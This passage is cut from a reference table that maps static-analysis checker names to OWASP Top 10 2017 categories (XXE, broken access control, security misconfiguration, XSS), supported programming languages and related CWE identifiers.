| RISKY_CRYPTO | C#, C/C++, Java, JavaScript, Objective-C/C++, Swift, Visual Basic | 17, 18, 254, 264, 284, 300, 310, 326, 327, 328, 361, 629, 632, 635, 664, 693, 699, 700, 711, 719, 720, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 959, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | |||
| SENSITIVE_DATA_LEAK | C#, Java, JavaScript, PHP, Python, Swift, Visual Basic | 17, 18, 19, 199, 200, 201, 209, 254, 264, 284, 285, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 721, 723, 728, 729, 731, 734, 743, 750, 751, 753, 755, 800, 801, 803, 809, 815, 816, 817, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 899, 900, 907, 922, 927, 928, 930, 933, 934, 935, 944, 945, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1031, 1032 | |||
| UNENCRYPTED_SENSITIVE_DATA | C#, C/C++, Java, Objective-C/C++, Swift | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 315, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | |||
| WEAK_PASSWORD_HASH | C#, C/C++, Java, Objective-C/C++, Visual Basic | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | |||
| owasp-web-2017-A4 | XML External Entities (XXE) | Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks. | XML_EXTERNAL_ENTITY | C#, Java, JavaScript, PHP, Python, Visual Basic | 17, 18, 254, 264, 265, 361, 398, 399, 405, 409, 438, 442, 610, 611, 635, 664, 669, 674, 691, 699, 700, 706, 710, 711, 730, 776, 809, 813, 827, 829, 834, 844, 845, 855, 857, 864, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 977, 978, 980, 981, 984, 985, 990, 1000, 1003, 1008, 1011, 1015, 1016, 1026, 1030 |
| owasp-web-2017-A5 | Broken Access Control | Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc. | BAD_CERT_VERIFICATION | Java, Swift | 17, 18, 227, 254, 264, 284, 295, 296, 297, 299, 300, 310, 361, 398, 399, 404, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 730, 731, 734, 743, 750, 752, 844, 850, 857, 859, 868, 876, 877, 882, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 982, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 |
| CONFIG.CONNECTION_STRING_PASSWORD | C# | 2, 10, 13, 16, 17, 18, 254, 255, 259, 260, 264, 284, 287, 330, 344, 361, 519, 522, 629, 632, 635, 657, 664, 668, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 895, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 950, 963, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.DEAD_AUTHORIZATION_RULE | C# | 16, 17, 18, 254, 264, 284, 285, 361, 519, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031, 1032 | |||
| CONFIG.DWR_DEBUG_MODE | Java | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | |||
| CONFIG.ENABLED_DEBUG_MODE | C# | 2, 10, 11, 16, 17, 18, 19, 199, 200, 215, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT | Java | 4, 16, 17, 18, 254, 264, 284, 285, 287, 288, 361, 417, 424, 425, 442, 592, 629, 632, 635, 638, 657, 664, 693, 699, 700, 710, 711, 718, 721, 722, 723, 724, 731, 750, 753, 800, 803, 809, 812, 813, 817, 840, 862, 866, 884, 888, 892, 894, 898, 899, 900, 907, 928, 930, 933, 935, 944, 945, 947, 953, 975, 978, 984, 988, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_DEBUG_MODE | Java | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS | Java | 4, 16, 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 862, 866, 884, 888, 892, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_SESSION_FIXATION | Java | 4, 16, 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 731, 809, 812, 888, 892, 898, 899, 907, 928, 930, 933, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031, 1032 | |||
| CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN | Java | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 862, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | |||
| CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION | Java | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 863, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | |||
| CONFIG.STRUTS2_ENABLED_DEV_MODE | Java | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 863, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | |||
| HARDCODED_CREDENTIALS | C#, C/C++, Java, JavaScript, Objective-C/C++, PHP, Python, Swift, Visual Basic | 17, 18, 254, 255, 259, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | |||
| IMPLICIT_INTENT | Java | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | |||
| JSP_DYNAMIC_INCLUDE | Java | 17, 18, 19, 20, 21, 22, 74, 94, 96, 97, 116, 137, 171, 254, 264, 265, 361, 398, 399, 470, 505, 610, 629, 632, 635, 664, 668, 691, 693, 699, 700, 706, 707, 710, 711, 715, 722, 723, 727, 734, 738, 742, 743, 746, 747, 750, 751, 752, 800, 802, 809, 813, 844, 845, 859, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 913, 928, 929, 932, 963, 975, 977, 978, 980, 981, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019, 1020, 1026, 1027, 1028, 1031 | |||
| JSP_SQL_INJECTION | Java | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | |||
| MISSING_AUTHZ | C#, Java, JavaScript, PHP, Python, Visual Basic | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | |||
| MISSING_PERMISSION_FOR_BROADCAST | Java | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 895, 899, 907, 927, 928, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | |||
| MISSING_PERMISSION_ON_EXPORTED_COMPONENT | Java | 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 750, 753, 800, 803, 809, 817, 840, 888, 892, 899, 907, 926, 928, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031 | |||
| PATH_MANIPULATION | C#, Java, JavaScript, PHP, Python, Swift, Visual Basic | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | |||
| RISKY_CRYPTO | C#, C/C++, Java, JavaScript, Objective-C/C++, Swift, Visual Basic | 17, 18, 254, 264, 284, 300, 310, 326, 327, 328, 361, 629, 632, 635, 664, 693, 699, 700, 711, 719, 720, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 959, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | |||
| SENSITIVE_DATA_LEAK | C#, Java, JavaScript, PHP, Python, Swift, Visual Basic | 17, 18, 19, 199, 200, 201, 209, 254, 264, 284, 285, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 721, 723, 728, 729, 731, 734, 743, 750, 751, 753, 755, 800, 801, 803, 809, 815, 816, 817, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 899, 900, 907, 922, 927, 928, 930, 933, 934, 935, 944, 945, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1031, 1032 | |||
| SESSION_FIXATION | Java | 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031 | |||
| SQLI | C#, Java, JavaScript, PHP, Python, Swift, Visual Basic | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | |||
| SQL_NOT_CONSTANT | C#, Java, Visual Basic | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | |||
| UNCHECKED_ORIGIN | JavaScript | 17, 18, 254, 264, 284, 345, 346, 361, 632, 635, 664, 693, 699, 700, 711, 723, 724, 888, 892, 898, 899, 907, 944, 949, 975, 984, 1000, 1003, 1008, 1011, 1014, 1026, 1031 | |||
| URL_MANIPULATION | Java | 17, 18, 19, 20, 74, 99, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 813, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 932, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027, 1031 | |||
| WEAK_BIOMETRIC_AUTH | Swift | 17, 18, 254, 264, 284, 287, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | |||
| WEAK_GUARD | C/C++, Java, Objective-C/C++ | 17, 18, 19, 227, 247, 254, 264, 284, 287, 290, 291, 293, 350, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 991, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | |||
| owasp-web-2017-A6 | Security Misconfiguration | Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion. | CONFIG.ASPNET_VERSION_HEADER | C# | 16, 17, 18, 19, 199, 200, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 |
| CONFIG.ASP_VIEWSTATE_MAC | C# | 10, 16, 519, 635, 699, 711, 731, 928, 933, 1003, 1026, 1028, 1032 | |||
| CONFIG.CONNECTION_STRING_PASSWORD | C# | 2, 10, 13, 16, 17, 18, 254, 255, 259, 260, 264, 284, 287, 330, 344, 361, 519, 522, 629, 632, 635, 657, 664, 668, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 895, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 950, 963, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.COOKIES_MISSING_HTTPONLY | C# | 16, 17, 18, 19, 199, 200, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.DUPLICATE_SERVLET_DEFINITION | Java | 4, 16, 635, 699, 711, 731, 928, 933, 1003, 1026, 1032 | |||
| CONFIG.DWR_DEBUG_MODE | Java | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | |||
| CONFIG.ENABLED_DEBUG_MODE | C# | 2, 10, 11, 16, 17, 18, 19, 199, 200, 215, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.ENABLED_TRACE_MODE | C# | 2, 10, 11, 16, 17, 18, 19, 199, 200, 215, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.HANA_XS_PREVENT_XSRF_DISABLED | JavaScript | 16, 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 933, 936, 949, 975, 1000, 1003, 1008, 1014, 1019, 1026, 1032 | |||
| CONFIG.JAVAEE_MISSING_HTTPONLY | Java | 4, 16, 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.MISSING_CUSTOM_ERROR_PAGE | C# | 2, 10, 12, 16, 17, 18, 388, 389, 519, 635, 699, 700, 703, 711, 728, 731, 755, 756, 844, 851, 868, 876, 880, 884, 888, 889, 895, 928, 933, 961, 962, 963, 1000, 1003, 1008, 1012, 1020, 1026, 1032 | |||
| CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER | Java | 2, 4, 7, 16, 17, 18, 388, 389, 635, 699, 700, 703, 711, 728, 731, 755, 756, 844, 851, 868, 876, 880, 884, 888, 889, 895, 928, 933, 961, 962, 963, 1000, 1003, 1008, 1012, 1020, 1026, 1032 | |||
| CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT | Java | 4, 16, 17, 18, 254, 264, 284, 285, 287, 288, 361, 417, 424, 425, 442, 592, 629, 632, 635, 638, 657, 664, 693, 699, 700, 710, 711, 718, 721, 722, 723, 724, 731, 750, 753, 800, 803, 809, 812, 813, 817, 840, 862, 866, 884, 888, 892, 894, 898, 899, 900, 907, 928, 930, 933, 935, 944, 945, 947, 953, 975, 978, 984, 988, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_DEBUG_MODE | Java | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS | Java | 4, 16, 17, 18, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 862, 866, 884, 888, 892, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 1000, 1003, 1008, 1011, 1026, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_SESSION_FIXATION | Java | 4, 16, 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 731, 809, 812, 888, 892, 898, 899, 907, 928, 930, 933, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031, 1032 | |||
| CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN | Java | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 862, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | |||
| CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION | Java | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 863, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | |||
| CONFIG.STRUTS2_ENABLED_DEV_MODE | Java | 4, 16, 17, 18, 19, 20, 100, 101, 254, 264, 284, 285, 361, 629, 632, 635, 664, 693, 699, 700, 711, 721, 722, 723, 731, 734, 738, 742, 746, 747, 750, 751, 753, 800, 803, 809, 813, 817, 840, 863, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 933, 935, 944, 945, 975, 984, 990, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031, 1032 | |||
| CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED | PHP | 16, 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 933, 936, 949, 975, 1000, 1003, 1008, 1014, 1019, 1026, 1032 | |||
| CONFIG.UNSAFE_SESSION_TIMEOUT | Java | 4, 16, 17, 18, 361, 613, 635, 664, 666, 672, 699, 700, 711, 724, 731, 800, 808, 840, 884, 888, 892, 898, 928, 930, 933, 951, 983, 984, 1000, 1003, 1008, 1018, 1026, 1028, 1032 | |||
| CSRF | C#, Java, JavaScript, Python, Visual Basic | 17, 18, 254, 345, 352, 442, 629, 635, 693, 699, 700, 711, 716, 724, 750, 751, 800, 801, 809, 814, 864, 884, 888, 898, 900, 907, 928, 936, 949, 975, 1000, 1003, 1008, 1014, 1019 | |||
| HARDCODED_CREDENTIALS | C#, C/C++, Java, JavaScript, Objective-C/C++, PHP, Python, Swift, Visual Basic | 17, 18, 254, 255, 259, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | |||
| SENSITIVE_DATA_LEAK | C#, Java, JavaScript, PHP, Python, Swift, Visual Basic | 17, 18, 19, 199, 200, 201, 209, 254, 264, 284, 285, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 721, 723, 728, 729, 731, 734, 743, 750, 751, 753, 755, 800, 801, 803, 809, 815, 816, 817, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 899, 900, 907, 922, 927, 928, 930, 933, 934, 935, 944, 945, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1031, 1032 | |||
| SESSION_FIXATION | Java | 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031 | |||
| owasp-web-2017-A7 | Cross-Site Scripting (XSS) | XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. | DOM_XSS | JavaScript | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 |
| XSS | C#, Java, JavaScript, PHP, Python, Visual Basic | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | |||
